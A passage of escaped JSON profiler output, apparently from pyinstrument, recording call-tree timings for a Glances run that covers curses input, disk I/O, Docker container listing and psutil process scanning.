0.10055864999594633},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100559,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100559,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100558,\"attributes\": {\"cGlancesCursesStandalone\": 0.100557892001234, \"l291\": 0.100557892001234},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100558,\"attributes\": {\"cGlancesCursesStandalone\": 0.100557892001234, \"l260\": 0.100557892001234},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100558,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100558,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100426,\"attributes\": {\"cGlancesCursesStandalone\": 0.10042635600257199, \"l1202\": 0.10042635600257199},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100426,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100426,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100510,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051012699841522, \"l291\": 0.10051012699841522},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100510,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051012699841522, \"l260\": 0.10051012699841522},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100510,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100510,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100501,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050125200359616, \"l1202\": 0.10050125200359616},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100501,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100501,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.130435,\"attributes\": {\"cGlancesStats\": 0.1304348899939214, \"l287\": 0.1304348899939214},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.130435,\"attributes\": {\"cGlancesStats\": 0.1304348899939214, \"l575\": 0.1304348899939214},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.130435,\"attributes\": {\"l571\": 0.1304348899939214},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.130435,\"attributes\": {\"cGlancesStats\": 0.1304348899939214, \"l274\": 0.110447678991477, \"l275\": 0.019987211002444383},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.087337,\"attributes\": {\"cDiskioPlugin\": 0.004341957996075507, \"l1278\": 0.08733678299904568, \"cContainersPlugin\": 0.01707799800351495, \"cProcesscountPlugin\": 0.06591682699945522},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.087337,\"attributes\": {\"l1295\": 0.08733678299904568},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.004342,\"attributes\": {\"cDiskioPlugin\": 0.004341957996075507, \"l114\": 0.004341957996075507},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.004342,\"attributes\": {\"cDiskioPlugin\": 0.004341957996075507, \"l1351\": 0.0023506529978476465, \"l1365\": 0.0019913049982278608},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.002351,\"attributes\": {\"cDiskioPlugin\": 0.0023506529978476465, \"l148\": 0.0023506529978476465},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.002351,\"attributes\": {\"l2133\": 0.0023506529978476465},\"children\": [{\"identifier\": \"wrap_numbers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000654\",\"time\": 0.002351,\"attributes\": {\"l660\": 0.0023506529978476465},\"children\": [{\"identifier\": \"run\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000597\",\"time\": 0.002351,\"attributes\": {\"c_WrapNumbers\": 0.0023506529978476465, \"l629\": 0.0023506529978476465},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002351,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"deepcopy\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000110\",\"time\": 0.001991,\"attributes\": {\"l131\": 0.0019913049982278608},\"children\": [{\"identifier\": \"_deepcopy_list\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000172\",\"time\": 0.001991,\"attributes\": {\"l177\": 0.0019913049982278608},\"children\": [{\"identifier\": \"deepcopy\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000110\",\"time\": 0.001991,\"attributes\": {\"l125\": 0.0019913049982278608},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001991,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.017078,\"attributes\": {\"cContainersPlugin\": 0.01707799800351495, \"l252\": 0.01707799800351495},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.017078,\"attributes\": {\"l256\": 0.01707799800351495},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.017078,\"attributes\": {\"l248\": 0.01707799800351495},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.017078,\"attributes\": {\"cDockerExtension\": 0.01707799800351495, \"l260\": 0.01707799800351495},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.017078,\"attributes\": {\"cContainerCollection\": 0.01707799800351495, \"l1009\": 0.01707799800351495},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.017078,\"attributes\": {\"cAPIClient\": 0.01707799800351495, \"l212\": 0.01707799800351495},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.017078,\"attributes\": {\"cAPIClient\": 0.01707799800351495, \"l44\": 0.01707799800351495},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.017078,\"attributes\": {\"cAPIClient\": 0.01707799800351495, \"l246\": 0.01707799800351495},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.017078,\"attributes\": {\"cAPIClient\": 0.01707799800351495, \"l602\": 0.01707799800351495},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.017078,\"attributes\": {\"cAPIClient\": 0.01707799800351495, \"l575\": 0.0020240279991412535, \"l589\": 0.015053970004373696},\"children\": [{\"identifier\": \"prepare_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000457\",\"time\": 0.002024,\"attributes\": {\"cAPIClient\": 0.0020240279991412535, \"l481\": 0.0020240279991412535},\"children\": [{\"identifier\": \"get_netrc_auth\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/utils.py\\u0000207\",\"time\": 0.002024,\"attributes\": {\"l221\": 0.0020240279991412535},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002024,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.015054,\"attributes\": {\"cAPIClient\": 0.015053970004373696, \"l703\": 0.013668772000528406, \"l718\": 0.0013851980038452893},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.013669,\"attributes\": {\"cUnixHTTPAdapter\": 0.013668772000528406, \"l644\": 0.013668772000528406},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.013669,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.013668772000528406, \"l787\": 0.013668772000528406},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.013669,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.013668772000528406, \"l534\": 0.013668772000528406},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.013669,\"attributes\": {\"cUnixHTTPConnection\": 0.013668772000528406, \"l571\": 0.013668772000528406},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.013669,\"attributes\": {\"cUnixHTTPConnection\": 0.013668772000528406, \"l1430\": 0.013668772000528406},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.013669,\"attributes\": {\"cHTTPResponse\": 0.013668772000528406, \"l331\": 0.013668772000528406},\"children\": [{\"identifier\": \"_read_status\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000291\",\"time\": 0.013669,\"attributes\": {\"cHTTPResponse\": 0.013668772000528406, \"l292\": 0.013668772000528406},\"children\": [{\"identifier\": \"readinto\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/socket.py\\u0000712\",\"time\": 0.013669,\"attributes\": {\"cSocketIO\": 0.013668772000528406, \"l725\": 0.013668772000528406},\"children\": [{\"identifier\": \"socket.recv_into\\u0000<built-in>\\u00000\",\"time\": 0.013669,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.013669,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"extract_cookies_to_jar\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/cookies.py\\u0000124\",\"time\": 0.001385,\"attributes\": {\"l134\": 0.0013851980038452893},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/cookies.py\\u000035\",\"time\": 0.001385,\"attributes\": {\"cMockRequest\": 0.0013851980038452893, \"l38\": 0.0013851980038452893},\"children\": [{\"identifier\": \"urlparse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000374\",\"time\": 0.001385,\"attributes\": {\"l395\": 0.0013851980038452893},\"children\": [{\"identifier\": \"_urlparse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000399\",\"time\": 0.001385,\"attributes\": {\"l400\": 0.0013851980038452893},\"children\": [{\"identifier\": \"_urlsplit\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000499\",\"time\": 0.001385,\"attributes\": {\"l504\": 0.0013851980038452893},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001385,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.065917,\"attributes\": {\"cProcesscountPlugin\": 0.06591682699945522, \"l85\": 0.06591682699945522},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.065917,\"attributes\": {\"cGlancesProcesses\": 0.06591682699945522, \"l617\": 0.059919536994129885, \"l624\": 0.0019974330061813816, \"l659\": 0.003999856999143958},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.059920,\"attributes\": {\"cGlancesProcesses\": 0.059919536994129885, \"l478\": 0.05191728899808368, \"l493\": 0.008002247996046208},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.009919,\"attributes\": {\"l1541\": 0.0025195709968102165, \"l1558\": 0.007399816000543069},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.002520,\"attributes\": {\"l1485\": 0.0025195709968102165},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.002520,\"attributes\": {\"l1526\": 0.0025195709968102165},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.002520,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002520,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.007400,\"attributes\": {\"cProcess\": 0.007399816000543069, \"l579\": 0.007399816000543069},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001406,\"attributes\": {\"cProcess\": 0.0014064339993637986, \"l687\": 0.0014064339993637986},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001406,\"attributes\": {\"cProcess\": 0.0014064339993637986, \"l748\": 0.0014064339993637986},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001406,\"attributes\": {\"cProcess\": 0.0014064339993637986, \"l1593\": 0.0014064339993637986},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001406,\"attributes\": {\"cProcess\": 0.0014064339993637986, \"l1750\": 0.0014064339993637986},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001406,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002014,\"attributes\": {\"cProcess\": 0.00201391099835746, \"l836\": 0.00201391099835746},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002014,\"attributes\": {\"cProcess\": 0.00201391099835746, \"l1593\": 0.00201391099835746},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002014,\"attributes\": {\"cProcess\": 0.00201391099835746, \"l1796\": 0.00201391099835746},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002014,\"attributes\": {\"l682\": 0.00201391099835746},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002014,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002014,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"memory_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001156\",\"time\": 0.001981,\"attributes\": {\"cProcess\": 0.0019809060031548142, \"l1190\": 0.0019809060031548142},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001981,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019985649996669963, \"l382\": 0.0019985649996669963},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019985649996669963, \"l1127\": 0.0019985649996669963},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019985649996669963, \"l1593\": 0.0019985649996669963},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019985649996669963, \"l1835\": 0.0019985649996669963},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000480\",\"time\": 0.002000,\"attributes\": {\"l481\": 0.002000432003114838},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.039997,\"attributes\": {\"l1558\": 0.03999746999761555},\"children\": [{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.039997,\"attributes\": {\"cProcess\": 0.03999746999761555, \"l579\": 0.03399903699028073, \"l572\": 0.003998393003712408, \"l578\": 0.0020000400036224164},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.0039987829950405285, \"l939\": 0.0039987829950405285},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.0039987829950405285, \"l1593\": 0.0039987829950405285},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020009599975310266, \"l2053\": 0.0020009599975310266},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019030052935705, \"l382\": 0.0020019030052935705},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019030052935705, \"l1138\": 0.0020019030052935705},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019030052935705, \"l1593\": 0.0020019030052935705},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019030052935705, \"l1878\": 0.0020019030052935705},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.0020019030052935705},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002040,\"attributes\": {\"cProcess\": 0.002039571998466272, \"l939\": 0.002039571998466272},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002040,\"attributes\": {\"cProcess\": 0.002039571998466272, \"l1593\": 0.002039571998466272},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002040,\"attributes\": {\"cProcess\": 0.002039571998466272, \"l2052\": 0.002039571998466272},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002040,\"attributes\": {\"cProcess\": 0.002039571998466272, \"l1593\": 0.002039571998466272},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002040,\"attributes\": {\"cProcess\": 0.002039571998466272, \"l382\": 0.002039571998466272},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002040,\"attributes\": {\"cProcess\": 0.002039571998466272, \"l1719\": 0.002039571998466272},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002040,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002040,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001957,\"attributes\": {\"cProcess\": 0.001957133994437754, \"l382\": 0.001957133994437754},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001957,\"attributes\": {\"cProcess\": 0.001957133994437754, \"l1138\": 0.001957133994437754},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001957,\"attributes\": {\"cProcess\": 0.001957133994437754, \"l1593\": 0.001957133994437754},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001957,\"attributes\": {\"cProcess\": 0.001957133994437754, \"l1882\": 0.001957133994437754},\"children\": [{\"identifier\": \"<lambda>\\u0000<string>\\u00001\",\"time\": 0.001957,\"attributes\": {\"l1\": 0.001957133994437754},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001957,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999666004849132, \"l687\": 0.001999666004849132},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999666004849132, \"l748\": 0.001999666004849132},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999666004849132, \"l1593\": 0.001999666004849132},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000151995162014, \"l382\": 0.002000151995162014},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000151995162014, \"l1127\": 0.002000151995162014},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000151995162014, \"l1593\": 0.002000151995162014},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017150018247776, \"l680\": 0.0020017150018247776},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017150018247776, \"l1593\": 0.0020017150018247776},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017150018247776, \"l1740\": 0.0020017150018247776},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017150018247776, \"l1593\": 0.0020017150018247776},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017150018247776, \"l382\": 0.0020017150018247776},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020017150018247776, \"l1683\": 0.0020017150018247776},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002002,\"attributes\": {\"l730\": 0.0020017150018247776},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002002,\"attributes\": {\"l718\": 0.0020017150018247776},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.0020017150018247776},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": 